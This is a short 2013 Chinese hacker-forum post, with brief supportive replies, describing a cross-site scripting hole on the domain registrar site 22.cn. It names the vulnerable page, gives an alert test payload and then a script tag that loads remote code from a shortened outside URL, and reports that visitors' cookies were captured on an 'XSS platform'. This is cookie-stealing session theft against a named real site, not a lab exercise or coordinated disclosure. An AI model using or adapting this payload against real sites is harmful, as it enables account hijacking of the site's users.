爱名网xss

admin · 发表于 2013-10-6 09:13:00

开头我还是那句话，本人是手机党，测试都是在可爱的uc浏览器上进行的，不能审查元素，不能看源代码，请各位客观见谅。
这次是爱名网的xss，www.22.cn漏洞地址:http://www.22.cn/DomainReg.aspx

首先在框框里输入输入<script>alert("xss")</script>，果断跳出了框框~然后我们试试能不能盗取cookies

输入<script src=http://x.co/1Ou19></script>然后点查询，后台在查询了，我们等等哦~然后登录xss平台。看到cookies来了~

转载请注明中国白客联盟:www.chinabaiker.com

显示全部楼层 · 发表于 2013-10-6 09:46:17

没看完~~~~~~ 先顶，好同志

显示全部楼层 · 发表于 2013-10-6 10:11:19

支持一下

爱名网xss

本帖子中包含更多资源